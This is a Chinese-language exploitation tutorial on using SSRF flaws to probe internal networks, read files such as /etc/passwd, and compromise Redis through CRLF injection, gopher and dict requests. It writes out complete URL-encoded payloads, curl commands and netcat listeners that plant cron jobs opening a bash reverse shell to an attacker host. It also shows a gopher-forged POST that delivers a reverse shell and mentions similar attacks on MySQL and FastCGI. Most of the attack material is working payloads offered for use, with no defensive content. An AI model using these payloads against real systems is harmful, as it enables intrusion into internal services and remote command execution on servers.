ssrf漏洞利用(內網探測、打redis)

摘要:存在ssrf漏洞的站點主要利用四個協議,分別是http、file、gopher、dict協議。php

file協議拿來進行本地文件的讀取,http協議拿來進行內網的ip掃描、端口探測,若是探測到6379端口,那麼能夠利用http、gopher、dict這幾個協議來打開放6379端口的redis服務(通常開放了這個端口的是redis服務),原理是利用他們以目標機的身份執行對開啓redis服務的內網機執行redis命令,最後反彈shell到咱們的公網ip機上。html

1、進行內網探測

利用http協議對內網進行探測,探測整個內網的存活ip,和端口,若是要針對redis,那麼這一步主要是找開啓了6379端口的內網ip地址。python

可利用bp或者腳本進行快速探測,因爲回顯的不一樣,腳本就須要按照回顯的特徵來寫,那種回顯是存在,哪一種回顯是不存在這樣的ip或端口。mysql

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379

2、file協議讀取文件

這個協議能夠讀取系統的一些存放密碼的文件,好比說linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者說ctf中的flag文件。linux

http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd

3、攻擊redis

只要知道內網有開啓6379的redis服務(或許是其餘端口開放的此服務),那麼就能夠利用目標機進行攻擊redis了。redis

第一步探測Redis咱們已經完成了,那麼第二部就是發送redis命令,將彈shell腳本寫入/etc/crontab中,crontab就是linux下的一個定時執行事件的一個程序。sql

還有兩個定時服務文件是  /var/spool/cron/root  和  /var/spool/cron/crontabs/root 。針對這三個路徑的不一樣,以下會進行講解。shell

方法一:經過header CRLF 注入

Weblogic的SSRF有一個比較大的特色,其雖然是一個「GET」請求,可是咱們能夠經過傳入`%0a%0d`來注入換行符,而某些服務(如redis)是經過換行符來分隔每條命令,也就說咱們能夠經過該SSRF攻擊內網中的redis服務器。數據庫

redis命令以下:ubuntu

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公網ip/監聽端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

這裏是採用的bash反彈,在ubuntu下不會反彈成功,CentOS能夠反彈成功;路徑採用的是/etc/crontab.

由於咱們是經過GET來發送命令的,所以要將上面的命令進行URL編碼:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

payload1就爲:

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
 

而後在本身的公網機192.168.220.140上nc監聽2333端口

nc -lvp 2333 (或nc -l 2333

而後發送請求便可反彈shell了

 

 

 

 方法二:經過【curl命令】和【gopher協議】遠程攻擊內網redis

gopher協議是比http協議更早出現的協議,如今已經不經常使用了,可是在SSRF漏洞利用中gopher能夠說是萬金油,由於可使用gopher發送各類格式的請求包,這樣就能夠解決漏洞點不在GET參數的問題了。 

gopher協議可配合linux下的curl命令僞造POST請求包發給內網主機。

此種方法能攻擊成功的前提條件是:redis是以root權限運行的。

payload2以下:

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://
172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a
'

redis命令進行了兩次url編碼,這裏是經過gopher協議僞造的請求包用curl命令來發送;

payload採用的是bash反彈,定時程序路徑是/var/spool/cron/root

發送請求以前在公網機192.168.220.140開啓nc監聽端口2333

nc -lvp 2333 (或nc -l 2333

方法三:使用dict協議向Redis數據庫寫shell

關於dict協議:
  > dict://serverip:port/命令:參數
  > 向服務器的端口請求 命令:參數,並在末尾自動補上\r\n(CRLF),爲漏洞利用增添了便利

若是服務端不支持gopher協議,可嘗試dict協議,不過經過dict協議的話要一條一條的執行,而gopher協議執行一條命令就好了。

curl擴展也支持dict協議,能夠配合curl命令發送請求,但也能夠直接在瀏覽器上或者bp發包請求。

可經過如下三條命令看是否能利用dict:

/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall

 

 

 這樣就表明能夠成功執行命令。

  1. 先清除沒用的數據,防止定時任務執行失敗
    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall

    http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall
  2. 利302跳轉寫入反彈命令
    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234

    http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234
  3. 設置導出路徑
    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/

    http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/
  4. 設置導出名字
    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root

    http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root
  5. 導出
    http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save

    http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save

     

使用burp發包,爲了不語句順序執行錯誤,故第一個包先跑20個在跑第二個包以此類推,若是是批量內網ip存在6379端口,那麼C段用通配符「*」表示。

在公網機上使用nc持續監聽1234端口,等一下子把包發完就會反彈shell。

Payload 完善修改

payload中出現ip、端口、反彈命令、定時程序路徑這些均可以根據實際狀況,目標機的系統版本進行更改。

若是目標機是CentOS系統:

bash和python反彈都支持
路徑使用:/etc/crontab或者/var/spool/cron/root

若是是ubuntu系統:

支持python反彈
路徑使用:/etc/crontab或者/var/spool/cron/crontabs/root

4、結合gopher協議實現進一步攻擊

1.經過【curl命令】和【gopher協議】對有【SSRF漏洞】的網站遠程僞造post請求反彈shell

在靶機上執行:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

攻擊機上執行:nc -lvp 2333

post請求爲:

_POST /test/ssrf/post.php HTTP/1.1
Host: 192.168.220.139
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

cmd=ccccc

bash -i >& /dev/tcp/192.168.220.140/2333 0>&1

將其進行url兩次編碼,而後結合gopher協議和curl命令,payload以下:

curl -v 
'http://xxx.xxx.xx.xx/xx.php?
url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261
'

攻擊機先運行nc命令,而後curl發送請求。

2.gopher攻擊MySQL

若是內網中的mysql數據庫存在無密碼的用戶,可結合gopher協議進行攻擊。

3.gopher攻擊fastcgi

php-fpm通常監聽在127.0.0.1的9000端口上,當存在未受權訪問漏洞時,利用 Gopher+SSRF 能夠完美攻擊 FastCGI 執行任意命令。

前提:

PHP-FPM監聽端口
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本小於7.45.0時,gopher的%00會被截斷)
知道服務器上任意一個php文件的絕對路徑,例如/usr/local/lib/php/PEAR.php

 

ssrf經常使用的攻擊方式大概就這些了,固然有些師傅有本身獨特的騷姿式。

參考連接:https://www.cnblogs.com/flokz/category/1558049.html

                  https://xz.aliyun.com/t/1800#toc-3

                  https://www.jianshu.com/p/fd27f0eedccf

                  http://www.secwk.com/2019/10/10/10017/

相關文章
相關標籤/搜索